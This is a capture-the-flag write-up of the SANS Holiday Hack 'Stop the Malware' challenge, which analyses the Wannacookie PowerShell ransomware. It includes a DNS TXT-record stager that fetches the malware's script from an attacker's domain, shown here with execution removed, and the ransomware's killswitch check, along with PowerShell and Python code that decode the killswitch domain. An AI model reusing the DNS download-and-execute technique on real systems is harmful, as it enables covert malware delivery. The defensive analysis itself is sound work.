Objective 9.3: Stop the Malware

Difficulty: 3/5

Alabaster Snowball is in dire need of your help. Santa's file server has been hit with malware. Help Alabaster Snowball deal with the malware on Santa's server by completing several tasks.
For hints on achieving this objective, please visit Shinny Upatree and help him with the Sleigh Bell Lottery Cranberry Pi terminal challenge.

Objective 9.2:
Identify a way to stop the malware in its tracks!

Note: Shinny Upatree can be found on Floor 1, on the South Eastern side of the lobby area

Hints given:
Shinny Upatree:
"Have you heard that Kringle Castle was hit by a new ransomware called Wannacookie? Several elves reported receiving a cookie recipe Word doc. When opened, a PowerShell screen flashed by and their files were encrypted. Many elves were affected, so Alabaster went to go see if he could help out. I hope Alabaster watched the PowerShell Malware talk at KringleCon before he tried analyzing Wannacookie on his computer. An elf I follow online said he analyzed Wannacookie and that it communicates over DNS. He also said that Wannacookie transfers files over DNS and that it looks like it grabs a public key this way. Another recent ransomware made it possible to retrieve crypto keys from memory. Hopefully the same is true for Wannacookie! Of course, this all depends how the key was encrypted and managed in memory. Proper public key encryption requires a private key to decrypt. Perhaps there is a flaw in the wannacookie author's DNS server that we can manipulate to retrieve what we need. If so, we can retrieve our keys from memory, decrypt the key, and then decrypt our ransomed files."

Alabaster Snowball:
"Whoa, Chris Davis' talk on PowerShell malware is crazy pants! You should check it out!" (https://www.youtube.com/watch?v=wd12XRq2DNk)

"Erohetfanu.com, I wonder what that means? Unfortunately, Snort alerts show multiple domains, so blocking that one won't be effective. I remember another ransomware in recent history had a killswitch domain that, when registered, would prevent any further infections. Perhaps there is a mechanism like that in this ransomware? Do some more analysis and see if you can find a fatal flaw and activate it! "

"wannacookie.min.ps1? I wonder if there is a non-minified version? If so, it may be easier to read and give us more information and maybe source comments? "

"I think I remember reading an article recently about Ransomware Kill Switchs. Wouldn't it be nice if our ransomware had one!"


The source malware script can be downloaded using the PowerShell code obtained from the previous Objective 9-2
Note: The password for the zip file below is 'infected'


The code from Objective 9-2 below downloads data over DNS and runs the data from memory using PowerShell.

Note: Because the original script from Objective 9-2 is potentially dangerous, only an image is displayed.

The script above can be neutered by removing "iex"
The script can write the downloaded data to file rather than output on the screen by changing "Out-string" to "Out-File downloaded"

function H2A($a) {$o; $a -split '(..)' | ? { $_ }  | forEach {[char]([convert]::toint16($_,16))} | forEach {$o = $o + $_}; return $o}; $f = "77616E6E61636F6F6B69652E6D696E2E707331"; $h = ""; foreach ($i in 0..([convert]::ToInt32((Resolve-DnsName -Server erohetfanu.com -Name "$f.erohetfanu.com" -Type TXT).strings, 10)-1)) {$h += (Resolve-DnsName -Server erohetfanu.com -Name "$i.$f.erohetfanu.com" -Type TXT).strings}; ($(H2A $h | Out-File downloaded))

The script is run on a Windows virtual machine, but it can run on Linux by emulating the 'Resolve-DnsName' function - refer to the video to see how to run this script on Linux.

PS C:\Users\test> function H2A($a) {$o; $a -split '(..)' | ? { $_ }  | forEach {[char]([convert]::toint16($_,16))} | for
Each {$o = $o + $_}; return $o}; $f = "77616E6E61636F6F6B69652E6D696E2E707331"; $h = ""; foreach ($i in 0..([convert]::T
oInt32((Resolve-DnsName -Server erohetfanu.com -Name "$f.erohetfanu.com" -Type TXT).strings, 10)-1)) {$h += (Resolve-Dns
Name -Server erohetfanu.com -Name "$i.$f.erohetfanu.com" -Type TXT).strings}; ($(H2A $h | Out-File downloaded))
PS C:\Users\test>

The code above downloads what looks like the minified version of a PowerShell script. The HEX numbers '77616E6E61636F6F6B69652E6D696E2E707331' decode to 'wannacookie.min.ps1'.

Note: Because this file is recognized by some anti-virus as a virus, the file is zipped in a password protected file - the password is 'infected'

The original version of the minified script could be called 'wannacookie.ps1' so convert 'wannacookie.ps1' to HEX numbers

root@kali:~/SANS# echo -n 'wannacookie.ps1' | xxd -ps -c 200 | awk '{printf toupper($0)}'
77616E6E61636F6F6B69652E707331

and download the non-minified script.

PS C:\Users\test> function H2A($a) {$o; $a -split '(..)' | ? { $_ }  | forEach {[char]([convert]::toint16($_,16))} | for
Each {$o = $o + $_}; return $o}; $f = "77616E6E61636F6F6B69652E707331"; $h = ""; foreach ($i in 0..([convert]::ToInt32((
Resolve-DnsName -Server erohetfanu.com -Name "$f.erohetfanu.com" -Type TXT).strings, 10)-1)) {$h += (Resolve-DnsName -Se
rver erohetfanu.com -Name "$i.$f.erohetfanu.com" -Type TXT).strings}; ($(H2A $h | Out-File wannacookie.ps1))

The code above downloads the non-minified script 'wannacookie.ps1'

Note: Because this file is recognized by some anti-virus as a virus, the file is zipped in a password protected file - the password is 'infected'

The script 'wannacookie.ps1' contains a few ASCII encoded strings:
'6B6579666F72626F746964' = 'keyforbotid'
'6B696C6C737769746368' = 'killswitch'
'7365727665722E637274' = 'server.crt'
'72616e736f6d697370616964' = 'ransomispaid'

The code that contains the ASCII encoded 'killswitch' is copied below

$S1 = "1f8b080000000000040093e76762129765e2e1e6640f6361e7e202000cdd5c5c10000000"
if ($null -ne ((Resolve-DnsName -Name $(H2A $(B2H $(ti_rox $(B2H $(G2B $(H2B $S1))) $(Resolve-DnsName -Server erohetfanu.com -Name 6B696C6C737769746368.erohetfanu.com -Type TXT).Strings))).ToString() -ErrorAction 0 -Server 8.8.8.8))) {return}

To display the killswitch domain, the code can be reduced to the following code

function H2B {
	param($HX);
	$HX = $HX -split '(..)' |  ? {
		$_
	};
	ForEach($value in $HX) {
		[Convert]::ToInt32($value, 16)
	}
};
function A2H() {
	Param($a);
	$c = '';
	$b = $a.ToCharArray(); ;
	Foreach($element in $b) {
		$c = $c + " " + [System.String]::Format("{0:X}", [System.Convert]::ToUInt32($element))
	};
	return $c -replace ' '
};
function H2A() {
	Param($a);
	$outa;
	$a -split '(..)' |  ? {$_} | forEach {[char]([convert]::toint16($_, 16))} | forEach {$outa = $outa + $_	};
	return $outa
};
function B2H {
	param($DEC);
	$tmp = '';
	ForEach($value in $DEC) {
		$a = "{0:x}" -f[Int] $value;
		if ($a.length -eq 1) {
			$tmp += '0' + $a
		} else {
			$tmp += $a
		}
	};
	return $tmp
};
function ti_rox {
	param($b1, $b2);
	$b1 = $(H2B $b1);
	$b2 = $(H2B $b2);
	$cont = New-Object Byte[] $b1.count;
	if ($b1.count -eq $b2.count) {
		for ($i = 0; $i -lt $b1.count; $i++) {
			$cont[$i] = $b1[$i] -bxor $b2[$i]
		}
	};
	return $cont
};
function B2G {
	param([byte[]]$Data);
	Process {
		$out = [System.IO.MemoryStream]::new();
		$gStream = New-Object System.IO.Compression.GzipStream $out,
		([IO.Compression.CompressionMode]::Compress);
		$gStream.Write($Data, 0, $Data.Length);
		$gStream.Close();
		return $out.ToArray()
	}
};
function G2B {
	param([byte[]]$Data);
	Process {
		$SrcData = New-Object System.IO.MemoryStream(, $Data);
		$output = New-Object System.IO.MemoryStream;
		$gStream = New-Object System.IO.Compression.GzipStream $SrcData,
		([IO.Compression.CompressionMode]::Decompress);
		$gStream.CopyTo($output);
		$gStream.Close();
		$SrcData.Close();
		[byte[]]$byteArr = $output.ToArray();
		return $byteArr
	}
};

function wanc {
    $S1 = "1f8b080000000000040093e76762129765e2e1e6640f6361e7e202000cdd5c5c10000000";
    Write-Host $(H2A $(B2H $(ti_rox $(B2H $(G2B $(H2B $S1)))$(Resolve-DnsName -Server erohetfanu.com -Name 6B696C6C737769746368.erohetfanu.com -Type TXT).Strings)))
};
wanc;

Running the code above in PowerShell, the killswitch domain is revealed

C:\Users\test>powershell -File find-killswitch.ps1
 yippeekiyaa.aaay

C:\Users\test>

The killswitch domain can also be decoded using Python:

#!/usr/bin/python3
import socket
import dns.resolver
import zlib

res = dns.resolver.Resolver()
res.nameservers = [socket.gethostbyname('erohetfanu.com')]
# xor_1 should be 'ffrrrxierhfxefks'
xor_1 = res.query("6B696C6C737769746368.erohetfanu.com", "TXT").response.answer[0][-1].strings[0]
str_xor_1 = bytes.fromhex(xor_1.decode('utf-8')).decode('utf-8')

S1 = bytes.fromhex("1f8b080000000000040093e76762129765e2e1e6640f6361e7e202000cdd5c5c10000000")
str_xor_2 = zlib.decompress(S1, 16+zlib.MAX_WBITS).decode('utf-8')

# XOR 'ffrrrxierhfxefks' with the gzip-decompressed string 'S1'
killswitch = ([ord(a) ^ ord(b) for a, b in zip(str_xor_1, str_xor_2)])
str_killswitch = ''.join(chr(e) for e in killswitch)
print(str_killswitch)
root@kali:~/SANS# python3 decode_killswitch.py 
yippeekiyaa.aaay

The killswitch domain is:
yippeekiyaa.aaay

Register the domain using the 'Ho Ho Ho Daddy' domain registration terminal in Santa's secret room to complete the challenge.